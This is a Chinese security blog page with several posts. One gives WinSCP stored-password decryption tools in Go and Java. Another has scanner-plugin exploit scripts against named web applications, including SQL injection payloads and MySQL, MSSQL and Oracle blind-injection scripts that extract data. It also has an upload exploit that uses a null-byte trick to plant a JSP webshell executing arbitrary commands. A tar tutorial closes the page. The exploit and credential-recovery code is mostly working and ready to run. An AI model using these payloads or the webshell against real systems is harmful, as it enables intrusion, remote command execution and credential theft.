关于Winscp 密码获取解密

发布时间:June 2, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows // No Comments

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在:
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

记忆中最早的就是这个

https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [

有源码提供下载,还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go
package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)

func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}

func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)

        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]

    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }

    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}

func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}
 
 
附加一个java的
https://github.com/YuriMB/WinSCP-Password-Recovery/blob/master/src/main/java/Main.java
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Yuri Meiburg on 30-4-2015.
 */
public class Main {

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF
     */
    public static final int PWALG_SIMPLE_FLAG = 0xFF;

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3
     */
    public static final char PWALG_SIMPLE_MAGIC = 0xA3;

    public static List<Character> fPassword = new ArrayList<Character>();
    public static String hostname, username;

    public static void main(String [] args){
        if (args.length != 3) {
            System.exit(0);
        }

        hostname = args[0];
        username = args[1];

        for( int i=0; i< args[2].length(); ++i){
            fPassword.add((char) Integer.parseInt(""+args[2].charAt(i),16));
        }

        System.out.println("username = " + username);
        System.out.println("hostname = " + hostname);
        System.out.println("getPassword() = " + getPassword());
    }


    /**
     * UnicodeString __fastcall TSessionData::GetPassword() const
     {
     return DecryptPassword(FPassword, UserName+HostName);
     }
     */
    static String getPassword(){
        return decryptPassword(fPassword, username + hostname);
    }

    /**
     * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)
     * {
     *    UTF8String Key = UnicodeKey;
     *    UTF8String Result("");
     *    Integer Index;
     *    unsigned char Length, Flag;
     *
     *    Flag = simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *      simpleDecryptNextChar(Password);
     *      Length = simpleDecryptNextChar(Password);
     *    }
     *    else Length = Flag;
     *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);
     *    for (Index = 0; Index < Length; Index++)
     *        Result += (char)simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *        if (Result.SubString(1, Key.Length()) != Key) Result = "";
     *        else Result.Delete(1, Key.Length());
     *    }
     *    return UnicodeString(Result);
     *}
     */
    static String decryptPassword(List<Character> password, String unicodeKey){
        System.out.println("unicodeKey = " + unicodeKey);
        String key = unicodeKey;
        String result = "";
        char length, flag;

        flag = simpleDecryptNextChar(password);
        System.out.println("flag = " + (int) flag);
        if(flag == PWALG_SIMPLE_FLAG){
            /* Dummy = */ simpleDecryptNextChar(password);
            length = simpleDecryptNextChar(password);
        }
        else length = flag;

        System.out.println("length = " + (int) length);

        int newStart = ((int)simpleDecryptNextChar(password)*2);
        System.out.println("newStart = " + newStart + ", password.size() = " + password.size());
        removeItems(password, 0, newStart);

        for(int index=0; index < length; ++index)
            result += simpleDecryptNextChar(password);

        System.out.println("result = " + result);
        if(flag == PWALG_SIMPLE_FLAG)
        {
            if (!result.substring(0, key.length()).equals(key)) result = "";
            else result = result.substring(key.length());
        }

        return result;
    }


    /**
     * unsigned char simpleDecryptNextChar(RawByteString &Str)
     {
     if (Str.Length() > 0)
     {
     unsigned char Result = (unsigned char)
     ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +
     ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);
     Str.Delete(1, 2);
     return Result;
     }
     else return 0x00;
     }
     * @param str
     * @return
     */
    static public char simpleDecryptNextChar(List<Character> str){
        if(str.size() > 0){
            char result = unsignedChar(
                        ~(
                            (
                                    unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.
                            ) ^ PWALG_SIMPLE_MAGIC
                        )
                    );

            removeItems(str, 0, 2);
            return result;
        }
        else return 0x00;
    }

    /**
     * Cut off anything over 255.
     * @param v
     * @return
     */
    static char unsignedChar(int v){
        return (char) (v & 0xFF);
    }

    /**
     * Remove items from list
     */
    static void removeItems(List lst, int start, int end){
        for(int i=0; i<end-start; ++i){
            lst.remove(start);
        }
    }
}

关于tangscan插件写法的注意点

发布时间:June 1, 2015 // 分类:工作日志,开发笔记,代码学习,python,生活琐事 // No Comments

因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.

1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。

'需要转移为\\' 然后再进行post。

类似这样子

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content

尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了

2.requests的上传..

找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是

"Content-Type": "multipart/form-data

然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.

一个完整的上传包是这样子的

POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后我们截取http头部的基本信息,然后把body部分的拿出来,

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。

------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n

那么完整的就是这样子了...

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
            "Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers

遇到上传截断的怎么破.

我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了

    def verify(self):
        self.print_debug("verify start")
        header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
                    "Accept-Encoding": "gzip, deflate",
                    "Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
        rand_num = random.randint(10000,99999)
        file_name = "0day5test"+bytes(rand_num)+".jsp"
        exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
        files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n    if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n        int a = -1;\r\n        byte[] b = new byte[2048];\r\n        out.print(\"<pre>\");\r\n        while((a=in.read(b))!=-1){\r\n            out.println(new String(b));\r\n        }\r\n        out.print(\"</pre>\");\r\n    }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
        #截断使用 \x00
        try:
            response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
            #print response.content
        except Exception, e:
            self.result.error = str(e)
            return
        arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
        url2 = arg + file_name
        requests1 = requests.get(url2)
        if "0day5" in requests1.content:
            self.result.status = True
            self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
            url=self.option.url,
        )

盲注,盲注需要出数据的

1.mysql 延时注入

    def verify(self):
        uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
        url = self.option.url.rstrip('/') + uri
        timeout = 3
        delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
        delay_url = url + delay_sql

        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 48
        #;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
        db_version_len_payload =  "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23" 
        db_version_len_url = url + db_version_len_payload

        db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
        db_version_info_url = url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        try:
            url = delay_url.format(timeout=timeout)
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        end = time.time()
        delay = end - start             # 时间延时阀值
        self.print_debug("delay = {0}".format(delay))
        if (end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 100
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m)
            self.print_debug("url = {0}".format(url))
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            self.print_debug("time = {0}".format(end-start))
            if (end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m)
                self.print_debug("url = {0}".format(url))
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                self.print_debug("delay = {0}".format(end-start))
                if (end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

mysql 盲注

    def verify(self):
        uri = "/Accountcenter/accountmiddle"
        url = self.option.url.rstrip('/') + uri
        form    = "phone=1"
        headers = {
             "Content-Type": "application/x-www-form-urlencoded",
        }
        payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_0 = form + payload_0
        payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_1 = form + payload_1
     
        MAX_DB_VERSION_LEN      = 48
        db_version_len_payload  = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_len_form     = form + db_version_len_payload
        db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_info_form    = form + db_version_info_payload
     
        # 1.测试SQL盲注
        content_len_checker = 0
        try:
            response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
            response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
            response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        self.print_debug("content_len_checker = {0}".format(content_len_checker))
        # 2.获取数据库版本信息长度(二分法)
        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 50
        while l <= r:
            m = (l+r)/2
            version_len = db_version_len_form.format(value=m)
            try:
                response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
                #self.print_debug("{payload}  {len}".format(payload=version_len,len=len(response.content)))
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                version_info = db_version_info_form.format(index=i, value=m)
                try:
                    response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

2.mssql 盲注

    def verify(self):
        uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
        url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 25
        db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
        db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
        db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
        db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
        # 测试盲注的payload
        payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
        exp_url_0 = (url + payload_0).replace(" ", "/**/")
        payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
        exp_url_1 = (url + payload_1).replace(" ", "/**/")
        # 1.测试MSSQ盲注
        content_len_checker = 0
        try:
            response = requests.get(url=url, timeout=15, verify=False)
            response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
            response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
            content_len = len(response.content)
            content_len_0 = len(response_0.content)
            content_len_1 = len(response_1.content)
            if (content_len_0 == content_len_1) or \
               ((content_len <= content_len_0) and (content_len >= content_len_1)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error = str(e)
            self.result.status = False
            return

        content_len_checker  = content_len_1

        # 2.获取数据库版本信息长度
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            url = db_version_len_url.format(value=m)
            try:
                response = requests.get(url=url, timeout=15, verify=False)
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))

        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version=''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                url = db_version_info_url.format(index=i, value=m)
                try:
                    response = requests.get(url=url, timeout=15, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro')==-1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

MSSQL 延时注入


        url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))

        timeout = 4
        payload = ";waitfor delay '0:0:{timeout}'--"
        exp_url = url + payload

        MAX_DB_VERSION_LEN      = 26
        db_version_len_payload  = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_len_url      = url + db_version_len_payload
        db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_info_url     =  url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        url = exp_url.format(timeout=timeout)
        try:
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        if int(end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度
        db_version_len = 0
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m, timeout=timeout)
            self.print_debug(url)
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            if int(end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        
        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version = ''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m, timeout=timeout)
                self.print_debug(url)
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                if int(end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>=32 and l<=126:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro') == -1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]

    def verify(self):
        exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'multipart/form-data',
                   'Referer': exp_url
                   }
        payload0 = " AND 6925=6925"
        payload1 = " AND 6925=6926"
        db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            self.print_debug("normal "+str(content_len))
            self.print_debug("AND 1=1 "+str(content_len_0))
            self.print_debug("AND 1=2 "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_1
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if len(response.content)>content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

oracle 基于时间盲注[长度测量不生效,直接暴力注入]

    def oracle(self):
        exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
                   'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
                   'Referer': exp_url
                   }
        timeout = 3
        payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
        data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
        date = data + payload
        db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
        db_data = data + db_verpay
        # 1.测试SQL延迟注入
        start = time.time()
        date = date.format(timeout=timeout)
        #self.print_debug(date)
        try:
            response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        self.print_debug("time = {0}".format(end-start))
        if int(end-start)<timeout:
            self.result.status = False
            return

        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                start = time.time()
                db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
                try:
                    response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                end = time.time()
                if int(end-start)>timeout or int(end-start)==timeout:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

 

linux tar压缩排除某个文件夹或者某种类型

发布时间:May 19, 2015 // 分类:工作日志,代码学习,linux,转帖文章 // No Comments

一般直接用tar命令打包很简单,直接使用 tar -zcvf test.tar.gz test 即可。

在很多时候,我们要对某一个目录打包,而这个目录下有几十个子目录和子文件,我们需要在打包的时候排除其中1、2个目录或文件。

这时候我们在用tar命令打包的时候,增加参数 --exclude 就能达到目的。

例如:

我们以tomcat 为例,打包的时候我们要排除 tomcat/logs 目录,命令如下:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs tomcat

如果要排除多个目录,增加 --exclude 即可,如下命令排除logs和libs两个目录及文件xiaoshan.txt:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs --exclude=tomcat/xiaoshan.txt tomcat

这里要说一下注意事项:

大家都知道linux在使用tab键的时候会对目录名称自动补全,这很方便,大家也比较常用。

如我们输入 tomcat/lo 的时候按tab键,命令行会自动生成 tomcat/logs/ ,对于目录,最后会多一个 “/”

这里大家要注意的时候,在我们使用tar 的--exclude 命令排除打包的时候,不能加“/”,否则还是会把logs目录以及其下的文件打包进去。

错误写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs/ --exclude=tomcat/libs/ tomcat

正确写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs tomcat

也可以排除指定的文件类型

tar -cvf test.tgz test/ --exclude *.jpg

这样,就会把jpg后缀的文件都排除了,包括子目录!如果是多个后缀类型需要被排除可以在后面添加,无限制

tar -cvf test.tgz test/ --exclude *.txt --exclude *.jpg

以上是匹配排除某个文件类型后缀,也可以直接指定文件名

tar -cvf test.tgz test/ --exclude a.txt

或者指定目录,也可以排除目录与文件一起混合使用

tar -cvf test.tgz test/ --exclude dir1 --exclude a.log --exclude *.jpg

 

PHPCMS V9 一个为所欲为的漏洞

发布时间:May 19, 2015 // 分类:PHP,代码学习,转帖文章 // 1 Comment

phpcms phpsso_auth_key泄露: WooYun: PHPCMS V9 一个为所欲为的漏洞 

